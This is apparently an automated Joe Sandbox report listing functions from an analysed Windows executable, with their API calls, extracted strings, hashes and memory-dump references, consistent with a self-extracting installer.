API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction ID: c06e510363a6f5b80377cf02113ffb1a56fdffb174c30ab379f53d14127196fe
Opcode Fuzzy Hash: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction Fuzzy Hash: 68416221B0974691EB14EB16DC5477AF3A0EF48B94F884435CE0D873A4EF7DE4449720

Function 00007FF70ECD647C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF70ECD64CB
FindFirstFileW.KERNELBASE ref: 00007FF70ECD651E
GetLastError.KERNEL32 ref: 00007FF70ECD656F
FindNextFileW.KERNEL32 ref: 00007FF70ECD6597
GetLastError.KERNEL32 ref: 00007FF70ECD65A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD66CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD66D5

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 0b8333a0f29a327c36cbe3270ce1716225374cdc2a996147068cd886246ff935
Instruction ID: 0913a497b7e5f1a6ba6eb716b1ff0fd022ada47b71a97babb7cc0278526140d8
Opcode Fuzzy Hash: 0b8333a0f29a327c36cbe3270ce1716225374cdc2a996147068cd886246ff935
Instruction Fuzzy Hash: A161D672A0CA4691DA10EB24E84427EA361FF857A4F904331EABD437D8EF3ED584C710

Function 00007FF70ECE569C Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF70ECE59E4

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: 38fcd14a0c0e22dcc02e21086db45a874c8db68944d9ab85a23f3bc0e9adee56
Instruction ID: 7db685667dccac08574de7c87c098d6db5174d4dc600c411d4abea37c8ae8b53
Opcode Fuzzy Hash: 38fcd14a0c0e22dcc02e21086db45a874c8db68944d9ab85a23f3bc0e9adee56
Instruction Fuzzy Hash: 3AE1E533A186819BE724DF28D8402BEB7A1FB8874CF544139DA5D57B88DB3EE851DB10

Function 00007FF70ECE6294 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb80b51aadf55173622e9201162bdeefa438da09f0e939214a635ea07f0a5fc
Instruction ID: c16ce12f9fc56576cb1f58b2d90e9993357f0efed6a1aeb2f5659317df9b2488
Opcode Fuzzy Hash: 4cb80b51aadf55173622e9201162bdeefa438da09f0e939214a635ea07f0a5fc
Instruction Fuzzy Hash: 862225B2E2CA52A2EA10AB249C5017EF790FF6075CF990135DA5E477D4DF7EE800A760

Function 00007FF70ECF5390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DloadAcquireSectionWriteAccess.DELAYIMP ref: 00007FF70ECF53B5

Part of subcall function 00007FF70ECF4FE8: DloadProtectSection.DELAYIMP ref: 00007FF70ECF5059

RaiseException.KERNEL32 ref: 00007FF70ECF5437
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF70ECF5423

Part of subcall function 00007FF70ECF52F8: DloadProtectSection.DELAYIMP ref: 00007FF70ECF5357

LoadLibraryExA.KERNELBASE ref: 00007FF70ECF54D6
GetLastError.KERNEL32 ref: 00007FF70ECF54E4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF70ECF5516
RaiseException.KERNEL32 ref: 00007FF70ECF552A

Strings

H, xrefs: 00007FF70ECF5404

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: DloadSection$AccessWrite$ExceptionProtectRaiseRelease$AcquireErrorLastLibraryLoad
String ID: H
API String ID: 282135826-2852464175
Opcode ID: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction ID: 6f08dfaed9f23ddbd7fc9e54858eefaf83f0f5bc941634411979e10b8ae4f1aa
Opcode Fuzzy Hash: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction Fuzzy Hash: 49916C32A19B529AEB00EF65DC546ADB3A1FF08799F894436DE0D07B54EF39E844C720

Function 00007FF70ECD9CDC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD9254: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECD9389

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECDA375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDA82F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDA835

Part of subcall function 00007FF70ECE033C: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF70ECD9CBA), ref: 00007FF70ECE0369

Strings

,, xrefs: 00007FF70ECDA3AA
MENU, xrefs: 00007FF70ECDA1D9
*messages***, xrefs: 00007FF70ECD9FC6
*messages***, xrefs: 00007FF70ECDA004
, xrefs: 00007FF70ECDA1F9
$%s:, xrefs: 00007FF70ECDA350
DIRECTION, xrefs: 00007FF70ECDA1E5
DIALOG, xrefs: 00007FF70ECDA1CD
@%s:, xrefs: 00007FF70ECDA357
RTL, xrefs: 00007FF70ECDA32E
STRINGS, xrefs: 00007FF70ECDA1C1

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 988e682dbb3b4c783be54ccfebef63e85019313b811fb06679e680b09018e736
Instruction ID: bed128e57b34e41f6b8ad3e1ff29893fad78eada82d8cf48c304541397caf56a
Opcode Fuzzy Hash: 988e682dbb3b4c783be54ccfebef63e85019313b811fb06679e680b09018e736
Instruction Fuzzy Hash: 4562BE62A1DA82A5EB10EB25C8482BEA365FF40784FC04132DA5E476D5EF7FE545C360

Function 00007FF70ECF3030 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF70ECF3297
IsWindowVisible.USER32 ref: 00007FF70ECF32C7
ShowWindow.USER32 ref: 00007FF70ECF32D6
WaitForInputIdle.USER32 ref: 00007FF70ECF32E7
GetExitCodeProcess.KERNEL32 ref: 00007FF70ECF330D
CloseHandle.KERNEL32 ref: 00007FF70ECF3337
ShowWindow.USER32 ref: 00007FF70ECF338F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF344B

Strings

.exe, xrefs: 00007FF70ECF3342
p, xrefs: 00007FF70ECF3079
.inf, xrefs: 00007FF70ECF31C5
Install, xrefs: 00007FF70ECF31D4

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 148627002-3607691742
Opcode ID: 6deefb2a834960e7b68e4e93846fd8f06666f90d337fa731353736b6af53a45e
Instruction ID: bc6cb0a1fd5c1c190a4e6804d654ae8e49f2870e53aa99ada0531ccd41c3d204
Opcode Fuzzy Hash: 6deefb2a834960e7b68e4e93846fd8f06666f90d337fa731353736b6af53a45e
Instruction Fuzzy Hash: 2FC18E22F1C682B5EB10EB69DD6427EA7A1EF85B80F848035DE4D477A4DF3EE4558320

Function 00007FF70ECF2BF4 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70ECEE96C: PeekMessageW.USER32 ref: 00007FF70ECEE982
Part of subcall function 00007FF70ECEE96C: GetMessageW.USER32 ref: 00007FF70ECEE999
Part of subcall function 00007FF70ECEE96C: IsDialogMessageW.USER32 ref: 00007FF70ECEE9B0
Part of subcall function 00007FF70ECEE96C: TranslateMessage.USER32 ref: 00007FF70ECEE9BF
Part of subcall function 00007FF70ECEE96C: DispatchMessageW.USER32 ref: 00007FF70ECEE9CA

GetDlgItem.USER32 ref: 00007FF70ECF2C33
ShowWindow.USER32 ref: 00007FF70ECF2C59
SendMessageW.USER32 ref: 00007FF70ECF2C6E
SendMessageW.USER32 ref: 00007FF70ECF2C86
SendMessageW.USER32 ref: 00007FF70ECF2CA7
SendMessageW.USER32 ref: 00007FF70ECF2CC3
SendMessageW.USER32 ref: 00007FF70ECF2D06
SendMessageW.USER32 ref: 00007FF70ECF2D24
SendMessageW.USER32 ref: 00007FF70ECF2D38
SendMessageW.USER32 ref: 00007FF70ECF2D62
SendMessageW.USER32 ref: 00007FF70ECF2D7A

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: 5ff2d565dfc5db30faf5757a2f3953a4f42f62c0c62e185934d8e45e8a36dc63
Instruction ID: c0cd67dca3221b64d7b5df7e898d3f4f0374393f229566268bd28240e81c80aa
Opcode Fuzzy Hash: 5ff2d565dfc5db30faf5757a2f3953a4f42f62c0c62e185934d8e45e8a36dc63
Instruction Fuzzy Hash: 2E41BF3AB146468AF720AF71ED10BEE6761EF49B98F844232DD1A47BA4CF3DD4458720

Function 00007FF70ECE218C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF70ECE2197

Strings

z01, xrefs: 00007FF70ECE2E00
map/set too long, xrefs: 00007FF70ECE2190
zip, xrefs: 00007FF70ECE2F37
AES-0017, xrefs: 00007FF70ECE2803
zx01, xrefs: 00007FF70ECE2DF9
zipx, xrefs: 00007FF70ECE2F30

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: AES-0017$map/set too long$z01$zip$zipx$zx01
API String ID: 909987262-704999473
Opcode ID: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction ID: 471931232284c129dfa9fc8a37bd333e100af5f01928caa8156b72a01d74fb39
Opcode Fuzzy Hash: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction Fuzzy Hash: 1FB01218D3410ED0D02CF7808C550648310DF14700ED00C31C31C8FC910F3874424213

Function 00007FF70ECD46A0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF70ECD477B
GetLastError.KERNEL32 ref: 00007FF70ECD478E
CreateFileW.KERNEL32 ref: 00007FF70ECD47EE
GetLastError.KERNEL32 ref: 00007FF70ECD47F7
SetFileTime.KERNEL32 ref: 00007FF70ECD48A9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD4916

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 64065e44ed69f287c1fc4df0ebb383c09c812fcb12eb8c70a13a9516b9cf0ef5
Instruction ID: 37746da03d2a724053b0e7891833b4511853a9795220d0564e01261d4ba760f7
Opcode Fuzzy Hash: 64065e44ed69f287c1fc4df0ebb383c09c812fcb12eb8c70a13a9516b9cf0ef5
Instruction Fuzzy Hash: 4C61F266A1878195E724AB29E84036EA7A1FF857A8F500335DFBD43AD8CF3ED464C710

Function 00007FF70ECDE7C0 Relevance: 9.1, APIs: 6, Instructions: 80
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF70ECDE824

Part of subcall function 00007FF70ECD6768: GetVersionExW.KERNEL32 ref: 00007FF70ECD6799

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF70ECDE846
FileTimeToSystemTime.KERNEL32 ref: 00007FF70ECDE852
TzSpecificLocalTimeToSystemTime.KERNELBASE ref: 00007FF70ECDE862
SystemTimeToFileTime.KERNEL32 ref: 00007FF70ECDE870
SystemTimeToFileTime.KERNEL32 ref: 00007FF70ECDE87E

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction ID: a19c72c001729773d66e26988bb9945b26654f3ba93dd6b6ed73b0c8bed8685f
Opcode Fuzzy Hash: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction Fuzzy Hash: 09311562B146519EFB00DFB5D8802AC7770FF18758B94503AEE0EA7A98EB38D895C310

Function 00007FF70ECEEB64 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF70ECEEB7A
GetObjectW.GDI32 ref: 00007FF70ECEEBAB
DeleteObject.GDI32 ref: 00007FF70ECEEBE5
DeleteObject.GDI32 ref: 00007FF70ECEEC15

Part of subcall function 00007FF70ECEC260: FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC279
Part of subcall function 00007FF70ECEC260: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC295
Part of subcall function 00007FF70ECEC260: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC2AF
Part of subcall function 00007FF70ECEC260: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC2C1
Part of subcall function 00007FF70ECEC260: GlobalAlloc.KERNELBASE ref: 00007FF70ECEC2E2
Part of subcall function 00007FF70ECEC260: GlobalLock.KERNEL32 ref: 00007FF70ECEC2F7
Part of subcall function 00007FF70ECEC260: CreateStreamOnHGlobal.COMBASE ref: 00007FF70ECEC324
Part of subcall function 00007FF70ECEC260: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF70ECEC3A5
Part of subcall function 00007FF70ECEC260: GlobalUnlock.KERNEL32 ref: 00007FF70ECEC3C8
Part of subcall function 00007FF70ECEC260: GlobalFree.KERNEL32 ref: 00007FF70ECEC3D1

Strings

], xrefs: 00007FF70ECEEBB3

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction ID: 6703028db3c2a2f312cf263babf5c7eaaa3f13ec50ab94bd0f83bfe19934f465
Opcode Fuzzy Hash: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction Fuzzy Hash: 73118621F0D64655EA14BB61DE5477AF291EF88BC8F880035DD4E47B96DF2EE8049620

Function 00007FF70ECD5DB8 Relevance: 7.7, APIs: 5, Instructions: 163
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF70ECD5E7B
CreateFileW.KERNEL32 ref: 00007FF70ECD5EE4
SetFileTime.KERNELBASE ref: 00007FF70ECD5FAC
CloseHandle.KERNELBASE ref: 00007FF70ECD5FB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD5FEC

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: f20cc6b91e24e5c13e9133321993dce3257c4d33c318f0f139d1affa32006537
Instruction ID: 343a993c9aedfe7b0afcc5e80a83396c8fbcd6149c4f75992febd5749d0c3953
Opcode Fuzzy Hash: f20cc6b91e24e5c13e9133321993dce3257c4d33c318f0f139d1affa32006537
Instruction Fuzzy Hash: BC51C472B1CB42A9FB60EB65EC403BEA3A1AF447A8F844235DE1D47AD4DF3E94458310

Function 00007FF70ECF3928 Relevance: 7.5, APIs: 5, Instructions: 29
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF70ECF3945
GetMessageW.USER32 ref: 00007FF70ECF395C
TranslateMessage.USER32 ref: 00007FF70ECF3967
DispatchMessageW.USER32 ref: 00007FF70ECF3972
WaitForSingleObject.KERNEL32 ref: 00007FF70ECF3980

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction ID: 8f2233786a57235a538821d2c280ccae13e3609c3ddc82077d488b3e167748de
Opcode Fuzzy Hash: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction Fuzzy Hash: 1AF04F22F38486A2F750A734FC59BBAA211EFA4705FD41030D94E428A59F3CD549CB20

Function 00007FF70ECEE96C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF70ECEE982
GetMessageW.USER32 ref: 00007FF70ECEE999
IsDialogMessageW.USER32 ref: 00007FF70ECEE9B0
TranslateMessage.USER32 ref: 00007FF70ECEE9BF
DispatchMessageW.USER32 ref: 00007FF70ECEE9CA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction ID: 0b73392a0e47a04c896eeb8991f0062eca8e2318d5f4e4a3c9abe3972a0ee4b1
Opcode Fuzzy Hash: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction Fuzzy Hash: 32F0EC36F3855292EB90AB70FD55AB6A361FF94749FC05431E64E829A4DF2CD508CB10

Function 00007FF70ECE53BC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186COMMON

Download Yara Rule

